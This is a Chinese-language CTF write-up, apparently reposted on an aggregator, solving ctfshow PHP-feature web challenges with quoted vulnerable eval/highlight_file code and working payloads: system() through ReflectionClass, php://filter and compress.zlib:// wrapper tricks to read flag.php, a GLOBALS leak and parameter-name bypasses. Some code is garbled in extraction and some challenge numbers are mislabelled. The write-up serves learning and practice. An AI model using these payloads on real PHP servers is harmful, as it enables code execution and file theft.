当前位置: 首页 > news >正文

ctfshow的web入门php特性109-123

php109原生类函数

​ error_reporting(0);
​ if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2']; if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ //正则匹配V1和V2的参数,匹配里面的内容只能是字母
​ eval("echo new $v1($v2());");
}

}

payload:?v1=ReflectionClass&v2=system('tac fl36dg.txt')

带入就是eval("echo new ReflectionClass(system('tac fl36dg.txt'))");

想做出这题得先了解一下原生类函数的含义。

建议阅读这篇文章php的原生类_php原生类-CSDN博客

这题使用的是反射类的函数进行操作,如果要要反射的Class不存在就会抛出异常,利用这一特性。

php110

​ error_reporting(0);
​ if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

​ if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v1)){
​ die("error v1");
}
if(preg_match('/~|`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]/', $v2)){
​ die("error v2");
}

eval("echo new $v1($v2());");

​ }

payload:?v1=FilesystemIterator&v2=getcwd

推荐阅读浅谈 php原生类的利用 1(文件操作类)_filesystemiterator-CSDN博客

对比上题的内容,这题多了符号的限制,所以system()是用不了了,那就使用原生文件操作类。

getcwd 是 PHP 的一个原生函数,作用只有一个:返回当前脚本所在的绝对路径

可遍历目录类的原生函数Filesystemlterator,DirectoryIterator,GlobIterator 用不了

php111全局变量

include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;"); //是双引号可以解析变量
var_dump($$v1); //输出v1的变量
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v1)){
die("error v1");
}
if(preg_match('/~| |`|!|@|#|\$|%|^|&|*|(|)|_|-|+|=|{|[|;|:|"|'|,|.|?|\\|/|[0-9]|<|>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){ //正则匹配v1值为ctfshow
getFlag($v1,$v2);
}

payload:/?v1=ctfshow&v2=GLOBALS

这题限制了v1的值只能是ctfshow,那么重点就是v2,已知v2的变量值等于v1,所以v2可以直接输入GLOBALS超全局变量,最后就能输出全局数组,flag就在其中。

php112

error_reporting(0);
function filter($file){
if(preg_match('/../|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";

能看到,第三行的正则过滤了很多协议和..就是代表禁止目录穿越,但是没有过滤掉php和/符号

payload:

php://filter/resource=flag.php
php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php

php103

error_reporting(0);
function filter($file){
if(preg_match('/filter|../|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){ //is_file()判断给定文件名是否为一个正常的文件。可以用包装器绕过!
highlight_file(filter($file));
}else{
echo "hacker!";

payload:?file=compress.zlib://flag.php

因为正则多了个filter,所以php伪协议用不了了

这里compress.zlib://flag.php这个包装器不熟,那就学习一下!

compress.zlib:// 是 PHP 提供的用于透明地读写 gzip 压缩数据的流包装器。它允许你像操作普通文件一样操作 gzip 压缩的数据流。

意思就是它可以用来处理gzip的压缩文件,比如读取解压后的数据,或者写入数据的时候也会压缩的gzip文件里面!
原文链接:web99--web114(php特性篇)_web11 4-CSDN博客

php104

function filter($file){
if(preg_match('/compress|root|zip|convert|../|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

payload:?file=Php://filter/zlib.deflate|zlib.inflate/resource=flag.php,先进行压缩再解压绕过

?file=php://filter/resource=flag.php 不做任何动作直接获取flag

这题没有限制filter

php105

function filter($num){
$num=str_replace("0x","1",$num); //参数中的0x转成1
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!'36' and trim($num)!'36' and filter($num)'36'){ //这四个要求有意思,php认可的数字形式字符串36能返回true,第二个条件是不是长度2内容36的字符串通过,第三个条件是去除num左右两边的默认空白字符后不等36的字符串通过,第四个条件就是上面的替换,替换过后弱比较是36就能通过。
if($num
'36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

payload:?num=%0c36=(x0c36是php认可的36)

根据中间if条件的num的必要要求是弱比较等于36

php123

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\|/|~|`|!|@|#|%|^|*|-|+|=|{|}|"|'|,|.|;|?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

payload:POST : CTF_SHOW=&CTF[SHOW.COM=&fun= echo $flag

这次依旧是按照答案分析题目,中间的if条件里面要求我们必须有post头CTF_SHOW和

CTF_SHOW.COM,至于参数内容没有要求,然后不能有fl0g,但是这和下面我们得到 if($fl0g==="flag_give_me"){
echo $flag;

flag的前提又冲突了,所以看了大佬题解,不用符合条件,既然是post,那就直接指定变量运行就行

还有个有趣的小知识就是php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换,就可以让CTF_SHOW.COM绕过这个正则匹配。

http://www.jsqmd.com/news/280555/

相关文章:

  • AI架构实战指南:Agent、Workflow、RAG、Skill如何选择与组合
  • 让大模型“读懂”你的文档:RAG核心技术——文档切分完全指南
  • 导师推荐!2026 9款AI论文工具测评:本科生毕业论文必备
  • springboot_ssm803仓库仓储系统出入库模块设计--论文
  • 图数据库选型
  • 学霸同款2026 9款一键生成论文工具测评:研究生开题报告必备神器
  • 转行大模型开发,难不难?大模型转行指南:适合程序员的4步落地路径与资源(建议收藏)
  • 家庭教育专家智能体发布
  • springboot_ssm804充电桩综合管理--论文
  • YOLOv8改进 - 注意力机制 | Triplet Attention (三重注意力) 通过跨维度交互捕捉增强多尺度目标特征表征
  • springboot_ssm805共享厨房租赁信息系统--论文
  • 计算机Java毕设实战-基于Java Web的虚拟实验室设备租赁管理系基于springboot的实验设备借用平台的设计与实现 实验室设备租赁系统【完整源码+LW+部署说明+演示视频,全bao一条龙等】
  • springboot_ssm800公司重大停管理系统--论文
  • springboot_ssm801二手商品交易系统 积分兑换ntkgh--论文
  • YOLOv8改进 - 注意力机制 | SKAttention:选择性核注意力通过多分支融合与自适应感受野调整优化多尺度目标检测
  • Java毕设项目推荐-基于springboot vue的实验室设备借用管理系统【附源码+文档,调试定制服务】
  • Java计算机毕设之基于vue设备租赁报修借用管理系统基于springboot的实验设备借用平台的设计与实现 实验室设备租赁系统(完整前后端代码+说明文档+LW,调试定制等)
  • springboot_ssm802二手车估值与销售网络平台--论文
  • 想转行大模型?先了解算法与应用工程师的真实门槛与学习路径
  • Qwen Code Skills实战:构建数据分析智能体,轻松实现数据问答与报表生成
  • 【课程设计/毕业设计】基于springboot的高校实验设备借用平台的设计与实现 实验室设备租赁系统【附源码、数据库、万字文档】
  • 程序员转行AI大模型全攻略:后端开发轻松转型大模型应用开发,非常详细收藏我这一篇就够了
  • 鸿蒙 RTL 适配踩坑记录:为什么你的布局在阿拉伯语下一定会翻车
  • 详细介绍:SQL时间函数全解析从基础日期处理到高级时间序列分析
  • Java毕设项目推荐-基于springboot的婚庆公司服务平台婚礼司仪主持婚车租赁的设计与实现【附源码+文档,调试定制服务】
  • 深入解析:Flink SQL Window Deduplication按窗口“保留第一条/最后一条”记录(Streaming)
  • Windows系统优化工具RyTuneX1.6.0 完全安装配置指南,Win10 Win11优化指南
  • MemOS记忆图谱实战:从零构建LangChain智能体的长期记忆系统(含完整代码)
  • 【计算机毕业设计案例】基于springboot的婚庆公司相亲主持服务平台的设计与实现(程序+文档+讲解+定制)
  • 【计算机毕业设计案例】基于Java springboot实验室预约系统实验室设备租赁设备报修维修报废(程序+文档+讲解+定制)